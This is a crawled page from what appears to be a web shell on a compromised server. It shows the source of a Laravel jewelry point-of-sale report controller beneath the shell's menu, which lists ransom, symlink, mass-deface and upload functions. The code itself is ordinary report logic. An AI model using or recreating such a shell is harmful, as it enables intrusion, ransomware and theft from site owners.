KUJUNTI.ID MINISH3LL
Path : /var/www/html/jewelry-pos/app/Http/Controllers/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/jewelry-pos/app/Http/Controllers/ReportController.php


<?php

namespace App\Http\Controllers;

use App\Exports\CategoryProductExport;
use App\Exports\GrnReportsExport;
use App\Exports\ProductTransactionReportExport;
use App\Exports\SampleProductExport;
use App\Imports\ProductImport;
use App\Models\Currency;
use App\Models\Product;
use App\Models\ProductAttribute;
use App\Models\ProductCategory;
use App\Models\QtyHistory;
use App\Models\Sale;
use App\Models\Supplier;
use http\Exception;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\DB;
use Maatwebsite\Excel\Facades\Excel;
use function Laravel\Prompts\alert;

class ReportController extends Controller
{
    /**
     * Display a listing of the resource.
     */
    public function __construct()
    {
        set_time_limit(500000);
        $this->middleware('permission:reports-summary-list' , ['only' => ['index' , 'show']]);
    }

    public function index(Request $request) //summary report
    {
        $start_date = $request->get('start_date') ?? date('Y-m-d');
        $end_date = $request->get('end_date') ?? date('Y-m-d');
        $dates = explode(' - ', $request->date);
        if ($request->date) {
            $start_date = $dates[0];
            $end_date = $dates[1];
        }
        $currencies  = Currency::all();
        return view('reports.index' , compact('start_date' , 'end_date' , 'currencies'));
    }

    /**
     * Show the form for creating a new resource.
     */
    public function create()
    {
        //
    }

    /**
     * Store a newly created resource in storage.
     */
    public function store(Request $request)
    {
        //
    }

    /**
     * Display the specified resource.
     */
    public function print(Request $request) // summary print
    {
        $start_date = $request->get('start_date') ?? date('Y-m-d');
        $end_date = $request->get('end_date') ?? date('Y-m-d');
        $dates = explode(' - ', $request->date);
        if ($request->date) {
            $start_date = $dates[0];
            $end_date = $dates[1];
        }
        $sales = Sale::whereBetween('created_at', [$start_date . " 00:00:00", $end_date . " 23:59:59"])->orderBy('id' , 'desc')->get();
        $cashie = Auth::user()->name;
        return view('reports.summary-list' , compact('cashie' , 'sales' , 'start_date' , 'end_date'));
    }

    /**
     * Show the form for editing the specified resource.
     */
    public function edit(string $id)
    {
        //
    }

    /**
     * Update the specified resource in storage.
     */
    public function update(Request $request, string $id)
    {
        //
    }

    /**
     * Remove the specified resource from storage.
     */
    public function destroy(string $id , Request $request) //destroy grn
    {

    }
    public function deletedReport(Request $request){
        $paginate = $request->paginate??25;
        $check_fixed_price = $request->get('check_fixed_price');
        $productCategories = ProductCategory::get();

        $gold_category = clone $productCategories;
        $gold=$gold_category->whereIn('name',['មាស','Gold','ทอง'])->first();

        $child_gold = ProductCategory::where('parent_id' , $gold->id)->get();

        $platinume_clone = clone $productCategories;
        $platinume_Category = $platinume_clone->whereIn('name' , ['ផ្លាកទីន','Platinum','แพลตตินัม'])->first();
        $child_p = ProductCategory::where('parent_id' , $platinume_Category->id)->get();

        $start_date = $request->get('start_date') ?? date('Y-m-d');
        $end_date = $request->get('end_date') ?? date('Y-m-d');
        $dates = explode(' - ', $request->date);
        if ($request->date) {
            $start_date = $dates[0];
            $end_date = $dates[1];
        }

        if($start_date){
            $sales = Sale::withTrashed()->whereBetween('deleted_at', [$start_date . " 00:00:00", $end_date . " 23:59:59"]);
        }

        $search = $request->get('search');
        if($search){
            $sales = Sale::withTrashed()->where('part_number' , 'like' , '%' . $search . '%');
        }

        $product_category_id = $request->get('product_category_id');
        if($product_category_id != 0){
            $productCategory = ProductCategory::findOrFail($product_category_id);
            $sales = $sales->whereIn('product_category_id' , $productCategory->IdvsAllSubCategories());
        }else{
            $productCategory = [];
        }
        if($check_fixed_price == 1){
            $sales = $sales->where('fixed_price' , true);
        }elseif($check_fixed_price == 2){
            $sales = $sales->where('fixed_price' , false);
        }
        $productCategories1 = clone $productCategories;
        $main_categories = $productCategories1->where('parent_id' , null);
        $productCategories2 = clone $productCategories;
        $child_categories = $productCategories2->where('parent_id' , '<>' , '');

        $sales1 = Clone $sales;
        $total_sale_price = $sales1->sum('sales_price');

        $sales2 = Clone $sales;
        $salescost = Clone $sales;
        $total_sale_cost = $sales2->sum('selling_cost');
        $total_cost_of_sale = $salescost->sum('cost');

        $sales3 = Clone $sales;
        $total_sale_wage = $sales3->sum('wages');
        $total_sale_wages_in_weight = $sales3->sum('wages_in_weight');

        $sales4 = Clone $sales;
        $total_sale_original_wage = $sales4->sum('original_wages');
        $total_sale_original_wages_in_weight = $sales4->sum(DB::raw('original_wages_in_weight * (supplier_rate/1000)'));

        $sales5 = Clone $sales;
        $total_sale_discount = $sales5->sum('discount');

        $sales = $sales->orderBy('id' , 'desc')->paginate($paginate);
        $total_sale_profit= $total_sale_price-$total_sale_cost;
        return view('reports.deleted-report' , compact('start_date' , 'sales' , 'main_categories' , 'child_categories' , 'product_category_id' , 'gold' , 'child_gold'
            , 'productCategories' , 'end_date' , 'search' , 'paginate','total_sale_price','total_sale_cost','total_sale_wage','total_sale_original_wage', 'platinume_Category','child_p',
            'total_sale_discount','total_sale_profit' , 'total_sale_wages_in_weight', 'total_cost_of_sale' , 'total_sale_original_wages_in_weight' , 'productCategory' , 'check_fixed_price'));

    }
    public function deletedReportPrint(Request $request){
        $paginate = $request->get('paginate')??25;
        $product_category_id = $request->get('product_category_id');
        $check_fixed_price = $request->get('check_fixed_price');

        $productCategories = ProductCategory::get();

        $gold_category = clone $productCategories;
        $gold=$gold_category->whereIn('name',['មាស','Gold','ทอง'])->first();

        $child_gold = ProductCategory::where('parent_id' , $gold->id)->get();

        $platinume_clone = clone $productCategories;
        $platinume_Category = $platinume_clone->whereIn('name' , ['ផ្លាកទីន','Platinum','แพลตตินัม'])->first();
        $child_p = ProductCategory::where('parent_id' , $platinume_Category->id)->get();

        $start_date = $request->get('start_date') ?? date('Y-m-d');
        $end_date = $request->get('end_date') ?? date('Y-m-d');
        $dates = explode(' - ', $request->date);
        if ($request->date) {
            $start_date = $dates[0];
            $end_date = $dates[1];
        }
        $search = $request->get('search');
        if($search){
            $sales = Sale::withTrashed()->where('part_number' , 'like' , '%' . $search . '%');
        }else{
            $sales = Sale::withTrashed()->whereBetween('deleted_at', [$start_date . " 00:00:00", $end_date . " 23:59:59"]);
        }
        $product_category_id = $request->get('product_category_id');
        if($product_category_id != 0){
            $productCategory = ProductCategory::findOrFail($product_category_id);
            $sales = $sales->whereIn('product_category_id' , $productCategory->IdvsAllSubCategories());
        }else{
            $productCategory = [];
        }

        if($check_fixed_price == 1){
            $sales = $sales->where('fixed_price' , true);
        }elseif($check_fixed_price == 2){
            $sales = $sales->where('fixed_price' , false);
        }

        $sales1 = Clone $sales;
        $total_sale_price = $sales1->sum('sales_price');

        $sales2 = Clone $sales;
        $total_sale_cost = $sales2->sum('selling_cost');

        $sales3 = Clone $sales;
        $total_sale_wage = $sales3->sum('wages');
        $total_sale_wages_in_weight = $sales3->sum('wages_in_weight');

        $sales4 = Clone $sales;
        $total_sale_original_wage = $sales4->sum('original_wages');
        $total_sale_original_wages_in_weight = $sales4->sum(DB::raw('original_wages_in_weight * (supplier_rate/1000)'));

        $sales5 = Clone $sales;
        $total_sale_discount = $sales5->sum('discount');

        $sales6 = Clone $sales;
        $total_sale_qty = $sales6->sum('qty');

        $sales = $sales->orderBy('id' , 'desc')->get();
        $total_sale_profit= $total_sale_price-$total_sale_cost;
        return view('reports.deleted-report-print' , compact('start_date' , 'end_date' , 'search' , 'paginate','total_sale_price', 'productCategories' , 'check_fixed_price'
            ,'total_sale_cost','total_sale_wage','total_sale_original_wage','total_sale_discount','total_sale_profit' , 'total_sale_qty' , 'product_category_id' , 'platinume_Category' ,
            'child_gold' , 'gold' , 'total_sale_original_wages_in_weight' , 'total_sale_wages_in_weight' , 'productCategory'));
    }

    public function adjustmentReport(Request $request)
    {
        $paginate = $request->get('paginate')??25;
        $product_category_id = $request->get('product_category_id');
        $check_fixed_price = $request->get('check_fixed_price');
        $start_date = $request->get('start_date') ?? date('Y-m-d');
        $end_date = $request->get('end_date') ?? date('Y-m-d');
        $dates = explode(' - ', $request->date);
        if ($request->date) {
            $start_date = $dates[0];
            $end_date = $dates[1];
        }
        $search = $request->get('search');

        $productCategories = ProductCategory::get();

        $gold_category = clone $productCategories;
        $gold=$gold_category->whereIn('name',['មាស','Gold','ทอง'])->first();

        $child_gold = ProductCategory::where('parent_id' , $gold->id)->get();

        $productCategories1 = clone $productCategories;
        $main_categories = $productCategories1->where('parent_id' , null);
        $productCategories2 = clone $productCategories;
        $child_categories = $productCategories2->where('parent_id' , '<>' , '');

        $platinume_clone = clone $productCategories;
        $platinume_Category = $platinume_clone->whereIn('name' , ['ផ្លាកទីន','Platinum','แพลตตินัม'])->first();
        $child_p = ProductCategory::where('parent_id' , $platinume_Category->id)->get();

        if($search){
            $productQtyHistories = QtyHistory::whereBetween('created_at' , [$start_date.' 00:00:00' , $end_date.' 23:59:59'])->where('is_adjustment' , true)
                ->where(function ($query) use ($search) {
                    $query->where('grn', 'LIKE', '%' . $search . '%') // Search in grn column
                    ->orWhereHas('product', function ($query) use ($search) {
                        $query->where('part_number', 'LIKE', '%' . $search . '%'); // Search in part_number
                    });
                });
        }else{
            $productQtyHistories = QtyHistory::whereBetween('created_at' , [$start_date.' 00:00:00' , $end_date.' 23:59:59'])->where('is_adjustment' , true);
        }


        if($product_category_id == -100){
            $productQtyHistories = $productQtyHistories->whereHas('product', function ($query) use ($search) {
                $query->where('for_sale', 0);
            })
            ->paginate($paginate);
        }else if($product_category_id != 0){
            $productQtyHistories = $productQtyHistories->whereHas('product', function ($query) use ($product_category_id) {
                $query->where('product_category_id', $product_category_id);
            })
                ->paginate($paginate);
        }else{
            $productQtyHistories = $productQtyHistories->paginate($paginate);
        }


        return view('reports.adjustment-report' , compact('paginate' , 'start_date' , 'end_date' , 'search' , 'product_category_id' , 'child_gold',
        'child_p' , 'productQtyHistories' , 'main_categories' , 'child_categories' , 'check_fixed_price'));
    }

    public function adjustmentReportPrint(Request $request)
    {
        $paginate = $request->get('paginate')??25;
        $product_category_id = $request->get('product_category_id');
        $check_fixed_price = $request->get('check_fixed_price');
        $start_date = $request->get('start_date') ?? date('Y-m-d');
        $end_date = $request->get('end_date') ?? date('Y-m-d');
        $dates = explode(' - ', $request->date);
        if ($request->date) {
            $start_date = $dates[0];
            $end_date = $dates[1];
        }
        $search = $request->get('search');

        $productCategories = ProductCategory::get();

        $gold_category = clone $productCategories;
        $gold=$gold_category->whereIn('name',['មាស','Gold','ทอง'])->first();

        $child_gold = ProductCategory::where('parent_id' , $gold->id)->get();

        $productCategories1 = clone $productCategories;
        $main_categories = $productCategories1->where('parent_id' , null);
        $productCategories2 = clone $productCategories;
        $child_categories = $productCategories2->where('parent_id' , '<>' , '');

        $platinume_clone = clone $productCategories;
        $platinume_Category = $platinume_clone->whereIn('name' , ['ផ្លាកទីន','Platinum','แพลตตินัม'])->first();
        $child_p = ProductCategory::where('parent_id' , $platinume_Category->id)->get();

        if($search){
            $productQtyHistories = QtyHistory::whereBetween('created_at' , [$start_date.' 00:00:00' , $end_date.' 23:59:59'])->where('is_adjustment' , true)
                ->where(function ($query) use ($search) {
                    $query->where('grn', 'LIKE', '%' . $search . '%') // Search in grn column
                    ->orWhereHas('product', function ($query) use ($search) {
                        $query->where('part_number', 'LIKE', '%' . $search . '%'); // Search in part_number
                    });
                });
        }else{
            $productQtyHistories = QtyHistory::whereBetween('created_at' , [$start_date.' 00:00:00' , $end_date.' 23:59:59'])->where('is_adjustment' , true);
        }


        if($product_category_id == -100){
            $productQtyHistories = $productQtyHistories->whereHas('product', function ($query) use ($search) {
                $query->where('for_sale', 0);
            })
                ->get();
        }else if($product_category_id != 0){
            $productQtyHistories = $productQtyHistories->whereHas('product', function ($query) use ($product_category_id) {
                $query->where('product_category_id', $product_category_id);
            })
                ->get();
        }else{
            $productQtyHistories = $productQtyHistories->get();
        }


        return view('reports.adjustment-report-print' , compact('paginate' , 'start_date' , 'end_date' , 'search' , 'product_category_id' , 'child_gold',
            'child_p' , 'productQtyHistories' , 'main_categories' , 'child_categories' , 'check_fixed_price'));
    }

}

© KUJUNTI.ID